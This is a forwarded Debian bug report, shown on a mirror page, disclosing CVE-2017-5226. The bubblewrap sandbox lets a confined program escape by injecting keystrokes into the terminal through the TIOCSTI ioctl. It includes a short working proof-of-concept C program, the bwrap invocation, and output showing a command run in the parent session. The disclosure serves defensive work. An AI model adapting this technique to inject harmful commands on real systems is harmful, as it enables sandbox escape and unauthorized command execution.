On Debian bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850702, Federico Bento <up201407890@alunos.dcc.fc.up.pt> writes:
When executing a program via the bubblewrap sandbox, the nonpriv
session can escape to the parent session by using the TIOCSTI ioctl to
push characters into the terminal's input buffer, allowing an attacker
to escape the sandbox.This has been assigned CVE-2017-5226.
$ cat test.c #include <unistd.h> #include <sys/ioctl.h> #include <termios.h> int main() { char *cmd = "id\n"; while(*cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); } $ gcc test.c -o /tmp/test $ bwrap --ro-bind /lib64 /lib64 --ro-bind /home /home --ro-bind /bin /bin --ro-bind /tmp /tmp --chdir / --unshare-pid --uid 0 /tmp/test id uid=0 gid=1000 groups=1000 $ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken)
I don't know who assigned the CVE ID or whether the bug reporter has made any attempt to report it upstream already.
RetroSearch is an open source project built by @garambo | Open a GitHub Issue
Search and Browse the WWW like it's 1997 | Search results from DuckDuckGo
HTML:
3.2
| Encoding:
UTF-8
| Version:
0.7.4